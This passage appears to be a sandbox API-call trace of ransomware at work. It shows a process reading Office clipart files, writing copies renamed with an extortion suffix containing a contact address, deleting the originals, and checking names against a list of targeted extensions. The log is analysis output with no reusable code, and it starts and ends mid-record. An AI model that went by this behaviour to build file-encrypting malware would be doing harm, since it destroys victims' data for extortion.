(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.747] GetLastError () returned 0x0 [0090.747] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x18bb, lpOverlapped=0x0) returned 1 [0090.749] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x18c0, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x18c0, lpOverlapped=0x0) returned 1 [0090.749] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.749] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xea, lpOverlapped=0x0) returned 1 [0090.750] SetEndOfFile (hFile=0x394) returned 1 [0090.750] CloseHandle (hObject=0x394) returned 1 [0090.750] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.750] SetEndOfFile (hFile=0x38c) returned 1 [0090.756] CloseHandle (hObject=0x38c) returned 1 [0090.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid")) returned 1 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString=".doc") returned 4 [0090.757] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.757] lstrlenW (lpString=".docx") returned 5 [0090.757] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.757] lstrlenW (lpString=".pdf") returned 4 [0090.757] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.757] lstrlenW (lpString=".xls") returned 4 [0090.757] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.757] lstrlenW (lpString=".xlsx") returned 5 [0090.757] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.757] lstrlenW (lpString=".ppt") returned 4 [0090.757] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString=".zip") returned 4 [0090.757] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.757] lstrlenW (lpString=".rar") returned 4 [0090.757] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.757] lstrlenW (lpString=".bz2") returned 4 [0090.757] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.757] lstrlenW (lpString=".7z") returned 3 [0090.757] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString=".dbf") returned 4 [0090.757] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString=".1cd") returned 4 [0090.757] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.757] lstrlenW (lpString=".jpg") returned 4 [0090.758] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString=".doc") returned 4 [0090.758] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.758] lstrlenW (lpString=".docx") returned 5 [0090.758] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.758] lstrlenW (lpString=".pdf") returned 4 [0090.758] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.758] lstrlenW (lpString=".xls") returned 4 [0090.758] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.758] lstrlenW (lpString=".xlsx") returned 5 [0090.758] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.758] lstrlenW (lpString=".ppt") returned 4 [0090.758] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString=".zip") returned 4 [0090.758] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.758] lstrlenW (lpString=".rar") returned 4 [0090.758] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.758] lstrlenW (lpString=".bz2") returned 4 [0090.758] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.758] lstrlenW (lpString=".7z") returned 3 [0090.758] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString=".dbf") returned 4 [0090.758] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString=".1cd") returned 4 [0090.758] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0090.758] lstrlenW (lpString=".jpg") returned 4 [0090.758] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.758] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.758] lstrlenW (lpString="HTECH_01.MID") returned 12 [0090.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.759] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=7178) returned 1 [0090.759] CloseHandle (hObject=0x38c) returned 1 [0090.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0090.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.759] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.759] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0090.760] GetLastError () returned 0x0 [0090.760] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x1c0a, lpOverlapped=0x0) returned 1 [0090.764] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1c10, lpOverlapped=0x0) returned 1 [0090.765] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0090.765] WriteFile (in: hFile=0x394, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0090.765] SetEndOfFile (hFile=0x394) returned 1 [0090.766] CloseHandle (hObject=0x394) returned 1 [0090.766] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.766] SetEndOfFile (hFile=0x38c) returned 1 [0090.769] CloseHandle (hObject=0x38c) returned 1 [0090.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0090.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".doc") returned 4 [0090.770] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString=".docx") returned 5 [0090.770] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.770] lstrlenW (lpString=".pdf") returned 4 [0090.770] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.770] lstrlenW (lpString=".xls") returned 4 [0090.770] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.770] lstrlenW (lpString=".xlsx") returned 5 [0090.770] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.770] lstrlenW (lpString=".ppt") returned 4 [0090.770] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".zip") returned 4 [0090.770] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.770] lstrlenW (lpString=".rar") returned 4 [0090.770] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.770] lstrlenW (lpString=".bz2") returned 4 [0090.770] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString=".7z") returned 3 [0090.770] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".dbf") returned 4 [0090.770] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".1cd") returned 4 [0090.770] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".jpg") returned 4 [0090.770] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.770] lstrlenW (lpString=".doc") returned 4 [0090.770] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0090.770] lstrlenW (lpString=".docx") returned 5 [0090.771] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0090.771] lstrlenW (lpString=".pdf") returned 4 [0090.771] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0090.771] lstrlenW (lpString=".xls") returned 4 [0090.771] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0090.771] lstrlenW (lpString=".xlsx") returned 5 [0090.771] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0090.771] lstrlenW (lpString=".ppt") returned 4 [0090.771] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0090.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.771] lstrlenW (lpString=".zip") returned 4 [0090.771] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0090.771] lstrlenW (lpString=".rar") returned 4 [0090.771] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0090.771] lstrlenW (lpString=".bz2") returned 4 [0090.771] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0090.771] lstrlenW (lpString=".7z") returned 3 [0090.771] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0090.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.771] lstrlenW (lpString=".dbf") returned 4 [0090.771] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0090.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.771] lstrlenW (lpString=".1cd") returned 4 [0090.771] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0090.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 63 [0090.771] lstrlenW (lpString=".jpg") returned 4 [0090.771] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0090.771] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0090.771] lstrlenW (lpString="INDST_01.MID") returned 12 [0090.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.773] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=8568) returned 1 [0090.773] CloseHandle (hObject=0x38c) returned 1 [0090.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0090.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0090.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0090.773] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.773] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0090.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0090.774] GetLastError () returned 0x0 [0090.774] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x2178, lpOverlapped=0x0) returned 1 [0090.776] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0090.776] ReadFile (in: hFile=0x38c, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0091.095] WriteFile (in: hFile=0x364, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xec, lpOverlapped=0x0) returned 1 [0091.095] SetEndOfFile (hFile=0x364) returned 1 [0094.125] CloseHandle (hObject=0x364) returned 1 [0094.125] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.125] SetEndOfFile (hFile=0x38c) returned 1 [0094.348] CloseHandle (hObject=0x38c) returned 1 [0094.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0094.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.442] lstrlenW (lpString=".doc") returned 4 [0094.442] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.442] lstrlenW (lpString=".docx") returned 5 [0094.442] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.442] lstrlenW (lpString=".pdf") returned 4 [0094.442] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.442] lstrlenW (lpString=".xls") returned 4 [0094.442] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.442] lstrlenW (lpString=".xlsx") returned 5 [0094.442] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.442] lstrlenW (lpString=".ppt") returned 4 [0094.442] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.442] lstrlenW (lpString=".zip") returned 4 [0094.442] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.442] lstrlenW (lpString=".rar") returned 4 [0094.442] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.442] lstrlenW (lpString=".bz2") returned 4 [0094.442] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.442] lstrlenW (lpString=".7z") returned 3 [0094.442] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.442] lstrlenW (lpString=".dbf") returned 4 [0094.442] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".1cd") returned 4 [0094.443] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".jpg") returned 4 [0094.443] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".doc") returned 4 [0094.443] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString=".docx") returned 5 [0094.443] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.443] lstrlenW (lpString=".pdf") returned 4 [0094.443] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.443] lstrlenW (lpString=".xls") returned 4 [0094.443] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.443] lstrlenW (lpString=".xlsx") returned 5 [0094.443] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.443] lstrlenW (lpString=".ppt") returned 4 [0094.443] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".zip") returned 4 [0094.443] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.443] lstrlenW (lpString=".rar") returned 4 [0094.443] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.443] lstrlenW (lpString=".bz2") returned 4 [0094.443] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString=".7z") returned 3 [0094.443] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".dbf") returned 4 [0094.443] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".1cd") returned 4 [0094.443] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0094.443] lstrlenW (lpString=".jpg") returned 4 [0094.443] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.444] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.444] lstrlenW (lpString="PARNT_01.MID") returned 12 [0094.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0094.456] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=6491) returned 1 [0094.456] CloseHandle (hObject=0x3a8) returned 1 [0094.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0094.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0094.548] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.549] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0094.549] GetLastError () returned 0x0 [0094.549] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x195b, lpOverlapped=0x0) returned 1 [0094.553] WriteFile (in: hFile=0x3b4, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0094.554] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, 